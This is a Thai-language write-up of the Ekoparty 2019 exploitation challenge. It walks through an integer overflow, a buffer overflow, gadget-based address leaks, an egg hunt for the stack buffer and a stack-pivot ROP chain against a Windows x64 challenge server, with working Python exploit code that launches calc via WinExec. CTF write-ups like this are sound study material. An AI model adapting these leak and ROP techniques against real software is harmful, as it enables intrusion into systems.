BFS Ekoparty 2019 Exploitation Challenge: Link
หลังจากที่เรา Reverse Engineer Binary นี้เราจะพบ Flow การทำงานคร่าว ๆ เหมือนรูปนี้
ซึ่งจากการวิเคราะห์เราพบช่องโหว่หลัก ๆ 2 ถึง 3 ช่องโหว่(จริง ๆ ช่องโหว่ที่ 2-3 ค่อนข้าง Relate กัน)
Integer Overflow ใน msg_size ทำให้เราสามารถส่ง Msg Packet มากกว่า 0x200 bytes ทำให้เกิด Buffer Overflow ได้
เมื่อเราสามารถทำ Buffer Overflow ได้พบกว่าเราสามารถควบคุมได้ 1 Byte ที่สามารถ Execute ได้ และควบคุม Register RCX ได้
จากช่องโหว่ก่อนหน้านั่นหมายความว่าเราสามารถควบคุม Instruction ได้ประมาณ 255 คำสั่งซึ่งเราสามารถนำมาใช้ในการ Leak Address ต่าง ๆ ที่เราต้องการพร้อมทั้งสามารถ Trigger Buffer Overflow เพื่อควบคุม RIP ได้
Tested on: Windows 10 x64 Build 1909
Language: Python3
Technique: Integer Overflow, Buffer Overflow, Information Leak, Stack Pivot, Return-Oriented Programming(ROP)
Exploit: exploit.py
-
Integer Overflow
จากการที่เราทำการ Reverse Engineer เนี่ยเราพบว่าเพื่อเราส่ง Header Packet เข้าไปที่ Server แล้ว Server จะทำการตรวจสอบว่า Msg size ใน Header Packet เนี่ยน้อยกว่า 0x200 Bytes รึเปล่า
จะเห็นว่าทำใช้ Jump Condition
jle
ซึ่งเป็น Condition ที่ใช้ Compare แบบ Signed และถูก Cast เป็น Unsign ด้วยmovzx
(ref)ลองใช้ WinRepl เพื่อจำลองว่าเมื่อ
movzx
จะได้เป็นค่าจาก0xffffffff
เป็น0xffff
แล้วค่าใน eax จะถูกนำไปใช่ต่อไปเป็น len ของ recv() นั่นหมายความว่าเราสามารถส่งค่าได้มาก 0x200 Bytes แล้ว
-
Buffer Overflow
เมื่อเราสามารถส่งได้มากกว่า 0x200 bytes แล้วเราจึงลองส่ง Payload ไปหน้าตาแบบนี้
[ "A"*0x200 ][ "B"*0x8 ][ "C"*0x8 ]
จะพบว่าเมื่อเราไปไม่เกิด 0x210 Bytes Process จะไม่ Crash และสามารถควบคุม Executable ได้ 1 Byte(ตรงนี้ต้อง Reverse + Debug ด้วย debugger) กับอีก 1 Register
-
Information Leak
ตรงนี้เราพบแล้วว่าเราสามารถควบคุม XX ได้จาก Code ชุดนี้
XX\x48\x8b\x01
เราเลยลอง Generate ชุด Gadget ต่าง ๆ ที่เราสามารถใช้งานได้ทั้งหมดโดยใช้ Code ของ Capstone มาโมfrom capstone import * # code = b'\xzz\x48\x8b\x01' template_code = b'\x48\x8b\x01' md = Cs(CS_ARCH_X86, CS_MODE_64) filter = () f = open("asm_out", "w") for x in range(0x00,0xff): gen = bytes([x]) + template_code tmp = "-----------------\n" tmp += "XX => %s\n" %str(hex(x)) for i in md.disasm(gen, 0x1): if i.mnemonic not in filter: tmp += "0x%x:\t%s\t%s\n" %(i.address, i.mnemonic, i.op_str) tmp += "-----------------\n" print(tmp) f.write(tmp)
จะพบว่ามี gadget ที่เราสามารถทำไปใช้ประโยชน์ได้
XX => 0x65 0x1: mov rax, qword ptr gs:[rcx] XX => 0x66 0x1: mov rax, qword ptr [rcx] XX => 0x51 0x1: push rcx 0x2: mov rax, qword ptr [rcx]
จากนั้นเราทำการ Leak ค่าต่าง ๆ ที่เราต้องการ(และไม่ต้องการ LOL) ออกมาด้วย Gadget
0x65
กับ0x66
ลองอ่านอันนี้ และเอา Address ต่าง ๆ ไปทำ ROP โดยไม่ต้องกังวลเกี่ยวกับ ASLR -
Egg Hunting หา Address ของ msg_buf
ปกติเวลาเราจะ Execute command ผ่าน WinExec เนี่ยเราต้องการ Address ของ Command นั้น ๆ ด้วยซึ่งผมพยายามหา Gadget ที่ Leak Stack Address ออกมาแล้วมันไม่เจออ่ะ (หาทั้งใน Binary กับ Kernel32.dll เบย)
เลยลองอีกวิธีคือ Leak จาก StackBase/StackLimit แล้วหามา Offset เอา
Windows x64 - StackBase/StackLimit [WinDbg]
แต่ตอนแรกเลือกหา Offset จาก StackBase แล้วเอาไปคำนวนเลย สรุปว่า Address มันไม่ตรงแฮะ เลยต้องเปลี่ยนวิธี ในเมื่อเรามี StackBase/StackLimit แล้ว นั่นหมายความว่าเรารู้ว่ายังไง Address ของ Msg_buf ต้องอยู่ระหว่าง 2 Address นี้แน่ ๆ และเราสามารถ Leak Address ต่าง ๆ ออกมาได้(Gadget
0x66
) เลยลองมา Implement Egg Hunting เพื่อหา Address ดูprint("[!] Leaking msg_buf by egghunting...") for addr in range(stackBase-8, stackLimit, -8): s = connect() s.send(craft_header()) egg = b"\x41\42\x43\x44\x45\x46\x47\x48" msg = egg # Egg msg += b"A"*(512-8) msg += b"\x66" # mov rax, ptr qword [rcx] msg += b"\x00"*7 #padding for reverse_arr msg += p64(addr) #replace rcx <-- ImageBaseAddress + WinExec Offset s.send(msg) res = u64(s.recv(2048)) # print("Addr:", p64(res)) if res == u64(egg): print("[+] Leaked msg_buf Address :", str(hex(addr))) msg_buf_addr = p64(addr) break s.close() # close connection w8()
วิธีการก็เหมือนกันการที่เราทำ Egg hunting ใน Shellcode เลยแต่เราเปลี่ยนมาทำใน Exploit เราแทน โดยเราจะแปะ egg ไว้หน้า Payload ของเราและทำการ Loop ไปใน Range ของ StackBase และ StackLimit จนกว่าจะเจอ egg ซึ่งเมื่อเจอเราก็สามารถคำนวนตำแหน่งต่าง ๆ ของ Payload เราได้
-
Trigger Buffer Overflow ด้วย Stack Pivot
เราใช้ Gadget
0x51
ในการ Trigger Buffer Overflow ซึ่งจะทำการ Push ค่า RCX ลงไปใน Stack และทำการ ret นั้นหมายความว่าเราสามารถควบคุม RIP ได้จาก Gadget นี้ ปกติเวลาเราทำ Buffer Overflow เนี่ยเราจะทำการ Input ให้เยอะกว่า Buffer แล้วให้ค่ามันไปทับที่ Ret Addressเอารูปมาจากสไลด์สมัยฝึกงานที่ Secure-D ใช้คุ้มจัด :P
แต่ครั้งนี้เราไม่สามรถทำแบบนั้นได้ เพราะโปรแกรมจะ Crash และอีกอย่างคือเราสามารถ Input ได้แค่ 8 Bytes (จาก push rcx)
สิ่งที่เราทำคือเราทำการเพิ่มค่า
rsp
ขึ้นมาแทนโดยใช้ Gadget นี้# 0x14000158c: add esp, 0x78 ; ret ; (1 found) eko2019.exe
เพราะว่าก่อนที่เราจะ
ret
เนี่ยrsp
ของเราอยู่ห่างจากตำแหน่งของ msg_buf ที่0x68
Bytes เราต้องหา Gadget ที่เพิ่มค่าของrsp
ได้มากกว่า0x68
Bytes (ถ้าลองไปอ่าน Writeup ของคนอื่นดูจะเห็นว่าแทบทุกคนใน Gadget นี้ เพราะใน Eko2019.exe มี Gadget นี้ตัวเดียวจริง ๆ ที่ผ่านเงื่อนไข)V------- RSP ["A"*0x10]["XXXXX..."]
จากนั้นเราทำการ ROP เพื่อเปิดเครื่องคิดเลข
pop_rcx = p64(kernel32+0x27803) xor_rax_rax = p64(ImageBaseAddress+0x8c41) pop_rdx = p64(kernel32+0x1c450) calc_addr = p64(u64(msg_buf_addr)+0x38) pop_rsp = p64(ImageBaseAddress+0x1fd7) add_esp_0x78 = p64(ImageBaseAddress+0x158c) add_esp_0x58 = p64(ImageBaseAddress+0x1164) add_esp_0x28 = p64(ImageBaseAddress+0x160c) add_esp_0x10 = p64(ImageBaseAddress+0x8789) add_esp_0x38 = p64(ImageBaseAddress+0x2e71) s = connect() s.send(craft_header()) msg = b"\x00\x00\x00\x00\x00\x00\x00\x00" # pop the calc msg += b"\x00"*8 # R O P 🤟😎🤟 msg += pop_rcx msg += calc_addr msg += xor_rax_rax msg += pop_rdx msg += p64(1) # msg += b"B"*(0x8) msg += b"\x63\x61\x6c\x63\x00\x00\x00\x00" msg += b"A"*(0x38-0x8) # Alignment for add rsp, 0x38 msg += p64(winExec) msg += add_esp_0x78 # 0x1c0-0x78 = 0x148 msg += b"A"*0x78 msg += add_esp_0x78 # 0x1c0-0x78-0x78 = 0xd0 msg += b"A"*0x78 msg += add_esp_0x78 # 0x1c0-0x78-0x78-0x78 = 0x58 msg += b"A"*0x78 msg += add_esp_0x38 msg += b"A"*(512-len(msg)) msg += b"\x51" #push rcx msg += b"\x00"*7 #padding for reverse_arr msg += add_esp_0x78 #gadget to pivot stack s.send(msg) res = s.recv(2048) s.close() # close connection w8()